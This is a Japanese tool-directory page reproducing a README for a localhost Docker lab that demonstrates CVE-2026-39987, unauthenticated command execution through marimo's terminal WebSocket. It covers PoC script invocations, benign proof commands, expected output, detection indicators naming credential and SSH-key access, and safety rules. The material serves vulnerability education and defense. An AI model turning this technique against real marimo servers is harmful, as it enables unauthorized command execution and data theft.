Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987-Lab — # CVE-2026-39987 を再現するローカル Docker ラボ marimo のターミナル WebSocket における事前認証 RCE(CVE-2026-39987)を再現するローカル Docker ラボです。脆弱性のあるバージョンとパッチ適用済みバージョンを、教育目的のセキュリティ研究用に最小限の影響しか及ぼさない PoC スクリプトとともに比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-39987-lab
コンテナセキュリティ脆弱性分析エクスプロイトウェブセキュリティ学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-39987-lab

CVE-2026-39987-Lab

# CVE-2026-39987 を再現するローカル Docker ラボ marimo のターミナル WebSocket における事前認証 RCE(CVE-2026-39987)を再現するローカル Docker ラボです。脆弱性のあるバージョンとパッチ適用済みバージョンを、教育目的のセキュリティ研究用に最小限の影響しか及ぼさない PoC スクリプトとともに比較します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
194ヶ月前未レビュー

CVE-2026-39987 — marimo 事前認証ターミナル WebSocket RCE ラボ

marimo における CVE-2026-39987 を再現・理解するためのローカル専用 Docker ラボです。 このプロジェクトは、脆弱な marimo サービスとパッチ適用済みの marimo サービスを並べて比較し、最小限の害しか及ぼさない証明スクリプトを用いてその違いを示します。


エグゼクティブサマリー

CVE-2026-39987 は、リアクティブ Python ノートブックフレームワークである marimo における、重大な事前認証リモートコード実行の脆弱性です。

脆弱な挙動は、ターミナル WebSocket エンドポイントに存在します:

root@kitploit:~
/terminal/ws

影響を受けるバージョンでは、このエンドポイントは有効な認証なしで到達可能であり、対話型ターミナルセッションを作成できます。脆弱な marimo 編集サーバーに到達できる認証されていない攻撃者は、marimo プロセスの権限でコマンドを実行できる可能性があります。

このラボは、管理されたローカル Docker 環境でこの脆弱性を再現します:

サービスバージョンURL期待される挙動
vulnmarimo 0.20.4http://127.0.0.1:8081/terminal/ws が認証なしの WebSocket 接続を受け入れる
patchedmarimo 0.23.0http://127.0.0.1:8082/terminal/ws が認証なしの WebSocket 接続を 403 Forbidden で拒否する

目的は、武器化されたエクスプロイトを提供することではありません。目的は、ローカル専用で再現可能な証拠を用いて、脆弱なバージョンとパッチ適用済みバージョンの間の観察可能なセキュリティ上の違いを示すことです。


脆弱性の概要

影響を受けるコンポーネント

影響を受けるコンポーネントは、marimo のターミナル WebSocket エンドポイントです:

root@kitploit:~
/terminal/ws

このエンドポイントは、marimo の編集環境がブラウザ接続の WebSocket セッションを通じてターミナル機能を提供するために使用されます。

根本原因

脆弱なエンドポイントは、保護された marimo 編集機能に期待されるものと同じ認証チェックを適用せずに WebSocket 接続を受け入れていました。

重要な違いは次のとおりです:

root@kitploit:~
脆弱な挙動:
  認証なしのクライアントが /terminal/ws に接続できる
  ターミナルセッションが作成される
  WebSocket を通じてコマンドを送信できる

パッチ適用済みの挙動:
  認証なしのクライアントは拒否される
  WebSocket ハンドシェイクが 403 Forbidden で失敗する
  ターミナルセッションは作成されない

パッチは、ターミナルセッションの確立を許可する前に、ターミナル WebSocket フローに認証検証を追加します。

影響

脆弱な marimo 編集サーバーが到達可能なネットワークに公開されている場合、認証されていない攻撃者が marimo プロセスを実行しているユーザーとしてコマンドを実行できる可能性があります。

このラボでは、marimo プロセスは意図的に低権限の非 root ユーザーとして実行されます:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

これにより、脆弱性を証明しながらもデモの安全性が保たれます。


ラボの目標

このラボは、次の3つのことを証明するように設計されています:

  1. 脆弱なバージョンは、/terminal/ws への認証なしの WebSocket 接続を受け入れる。
  2. その認証なしのターミナル WebSocket を通じて、無害なコマンドを実行できる。
  3. パッチ適用済みのバージョンは、同じ認証なしの WebSocket 試行を 403 Forbidden で拒否する。

このラボは、破壊的なコマンド、永続化、リバースシェル、資格情報のダンプ、またはインターネットに公開されたターゲットを意図的に避けています。


リポジトリ構造

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── notebook.py
├── patched/
│   ├── Dockerfile
│   └── notebook.py
├── poc/
│   ├── poc.py
│   ├── rce_poc.py
│   └── requirements.txt
├── SAFETY.md
├── README.md
└── .gitignore

重要なファイル


ラボのアーキテクチャ

root@kitploit:~
ホストマシン

127.0.0.1:8081  ─────►  vuln コンテナ
                         marimo 0.20.4
                         /terminal/ws が認証なしの WebSocket を受け入れる

127.0.0.1:8082  ─────►  patched コンテナ
                         marimo 0.23.0
                         /terminal/ws が認証なしの WebSocket を拒否する

両方のサービスは marimo の内部ポート 2718 を公開しますが、ホストのポートは異なります:

root@kitploit:~
vuln    -> 127.0.0.1:8081
patched -> 127.0.0.1:8082

サービスは 127.0.0.1 にのみバインドされています。LAN やインターネットに公開することを意図していません。


Docker の堅牢化に関する注意事項

コンテナは、可能な限りいくつかのガードレールで構成されています:

root@kitploit:~
- ポートを 127.0.0.1 のみにバインド
- 非 root ユーザーとして実行
- Linux ケーパビリティを削除
- no-new-privileges を有効化
- 読み取り専用のルートファイルシステムを使用
- 限定的な tmpfs 書き込み場所のみを提供
- 専用の Docker ブリッジネットワーク内でサービスを分離

これらの制御は、脆弱なサービスから脆弱性を除去するものではありません。ローカルデモの爆発半径を縮小します。


前提条件

テスト済みの前提:

root@kitploit:~
- Docker Desktop を備えた Linux x86_64 または macOS
- Docker Compose v2
- Python 3.9+
- ローカルホストのみでのテスト

必要なツール:

root@kitploit:~
docker --version
docker compose version
python3 --version

セットアップ

プロジェクトディレクトリにクローンまたは移動します:

root@kitploit:~
cd cve-2026-39987

両方のサービスをビルドして起動します:

root@kitploit:~
docker compose up -d --build

両方のコンテナが実行されていることを確認します:

root@kitploit:~
docker compose ps

期待されるサービス:

root@kitploit:~
cve-2026-39987-vuln
cve-2026-39987-patched

バージョンの確認

脆弱なサービスのバージョンを確認します:

root@kitploit:~
docker compose exec vuln marimo --version

期待される出力:

root@kitploit:~
0.20.4

パッチ適用済みのサービスのバージョンを確認します:

root@kitploit:~
docker compose exec patched marimo --version

期待される出力:

root@kitploit:~
0.23.0

PoC 依存関係のインストール

Python 仮想環境を作成します:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

依存関係をインストールします:

root@kitploit:~
python -m pip install -r poc/requirements.txt

最小限の害しか及ぼさない PoC

主要な証明スクリプトは次のとおりです:

root@kitploit:~
poc/poc.py

これは次の場所への接続を試みます:

root@kitploit:~
/terminal/ws

次に、無害な証明コマンドのみを送信します:

root@kitploit:~
id
whoami
hostname

リバースシェル、ファイル書き込み、永続化、資格情報へのアクセス、または破壊的なコマンドは使用されません。

脆弱なサービスのテスト

実行:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081

期待される結果:

root@kitploit:~
[*] Target WebSocket: ws://127.0.0.1:8081/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[+] websocket connected without credentials
[result] VULNERABLE: unauthenticated command execution observed
[proof]
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
<container-hostname>

スクリプトが生のターミナル出力を表示するが、次のブロックを含む場合、脆弱性は依然として確認されています:

root@kitploit:~
CVE39987_PROOF_START
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
<container-hostname>
CVE39987_PROOF_END

これは、WebSocket 接続が成功し、コマンド出力がターミナルセッションから返ってきたことを意味します。

パッチ適用済みのサービスのテスト

実行:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082

期待される結果:

root@kitploit:~
[*] Target WebSocket: ws://127.0.0.1:8082/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[-] websocket connection rejected/failed: Handshake status 403 Forbidden
[result] not exploitable by this unauthenticated check

これは、パッチ適用済みのサービスがターミナルセッションを作成する前に認証なしのアクセスを拒否することを示しています。


リアルタイム学習クライアント

以下のファイルは、ローカルでの学習のみを目的としています:

root@kitploit:~
poc/rce_poc.py

これは、脆弱なターミナル WebSocket に接続してターミナル操作を可能にすることで、同じ問題をよりリアルタイムに示します。

これはローカル Docker ラボに対してのみ使用してください。

脆弱なサービスに対して実行

root@kitploit:~
python poc/rce_poc.py --base-url http://127.0.0.1:8081

期待される挙動:

root@kitploit:~
[+] Connected successfully (Pre-Auth RCE)
✓ Interactive shell is ready to use!

試すことができる安全なコマンド:

root@kitploit:~
id
whoami
hostname
pwd
python -c 'import marimo; print(marimo.__version__)'
exit

パッチ適用済みのサービスに対して実行

root@kitploit:~
python poc/rce_poc.py --base-url http://127.0.0.1:8082

期待される挙動:

root@kitploit:~
[-] Connection Failed: 403 Forbidden
[!] This is likely the PATCHED version.
    The WebSocket endpoint is now protected.

リアルタイムモードの安全に関する注意事項

リアルタイムクライアントは、脆弱な WebSocket がどのように動作するかを理解するのに役立つために存在します。このローカルラボ以外のシステムに対して使用しないでください。

ポートフォリオ公開用の推奨される主要な証拠は、依然として poc/poc.py です。これは、制限され、再現可能で、最小限の害しか及ぼさないためです。


期待されるセキュリティ上の違い

ラボの主な結果は次のように要約されるべきです:

root@kitploit:~
vuln / marimo 0.20.4:
  認証なしの WebSocket ハンドシェイクが /terminal/ws に対して成功する
  無害なコマンド出力が観察可能

patched / marimo 0.23.0:
  認証なしの WebSocket ハンドシェイクが /terminal/ws に対して失敗する
  サーバーが 403 Forbidden を返す
  ターミナルセッションは作成されない

これが CVE 再現の核となる証明です。


手動 WebSocket チェック

動作を手動で検査したい場合は、WebSocket 対応クライアントを使用して次の場所に接続します:

root@kitploit:~
ws://127.0.0.1:8081/terminal/ws
ws://127.0.0.1:8082/terminal/ws

期待される結果:

root@kitploit:~
8081 -> 接続が受け入れられる
8082 -> 403 Forbidden

PoC スクリプトの方が明確な証拠を生成するため推奨されます。


検出と監視のアイデア

実際の環境では、有用な指標には次のものが含まれます:

root@kitploit:~
- /terminal/ws への WebSocket リクエスト
- marimo 編集サーバーへの認証なしのアクセス試行
- marimo によって生成された予期しないターミナルセッション
- marimo プロセスによって起動されたコマンド
- .env、SSH キー、クラウド資格情報、またはノートブックのシークレットへのアクセス
- /terminal/ws 接続直後のアウトバウンドネットワークトラフィック

検査するローカルアーティファクトの例:

root@kitploit:~
docker compose logs vuln
docker compose logs patched
docker compose ps
docker compose exec vuln ps aux

クリーンアップ

コンテナを停止して削除します:

root@kitploit:~
docker compose down

ボリュームも削除します:

root@kitploit:~
docker compose down -v

必要に応じてローカルの Python 仮想環境を削除します:

root@kitploit:~
rm -rf .venv

安全規則

このリポジトリは、ローカルでのセキュリティ研究とポートフォリオデモンストレーションのみを目的としています。

許可されていること:

root@kitploit:~
- ローカルホストでのテスト
- Docker のみでの再現
- id、whoami、hostname などの無害な証明コマンド
- 脆弱なバージョンとパッチ適用済みのバージョンの挙動の比較
- 根本原因と検出アイデアの文書化

許可されていないこと:

root@kitploit:~
- 公開されている marimo サーバーに対するテスト
- 所有または管理していないシステムのテスト
- リバースシェル
- 永続化
- 資格情報の窃取
- 破壊的なコマンド
- 横方向の移動
- ボットネットまたはマルウェアの挙動

免責事項

このプロジェクトは、許可されたローカルテストと防御的なセキュリティ教育のみを目的としています。所有していない、または明示的なテスト許可を得ていないシステムに対して、これらのスクリプトを使用しないでください。


参考情報

  • GitHub セキュリティアドバイザリ — GHSA-2679-6mx9-h9xc:
    https://github.com/advisories/GHSA-2679-6mx9-h9xc

  • NVD — CVE-2026-39987:
    https://nvd.nist.gov/vuln/detail/CVE-2026-39987

  • marimo 上流リポジトリ:
    https://github.com/marimo-team/marimo

  • パッチコミット — ターミナル WebSocket への認証検証の追加:
    https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a

  • パッチ PR — marimo PR #9098:
    https://github.com/marimo-team/marimo/pull/9098

ツールをダウンロード
ファイル目的
docker-compose.yml脆弱な marimo サービスとパッチ適用済みの marimo サービスを定義
vuln/Dockerfile脆弱な marimo サービスをビルド
patched/Dockerfileパッチ適用済みの marimo サービスをビルド
vuln/notebook.py脆弱なサービスが使用する最小限の marimo ノートブックファイル
patched/notebook.pyパッチ適用済みのサービスが使用する最小限の marimo ノートブックファイル
poc/poc.py無害なコマンドのみを実行する最小限の害しか及ぼさない証明スクリプト
poc/rce_poc.pyローカルラボでターミナルの挙動を観察するためのリアルタイム学習クライアント
poc/requirements.txtPoC スクリプト用の Python 依存関係
SAFETY.md安全規則とスコープの境界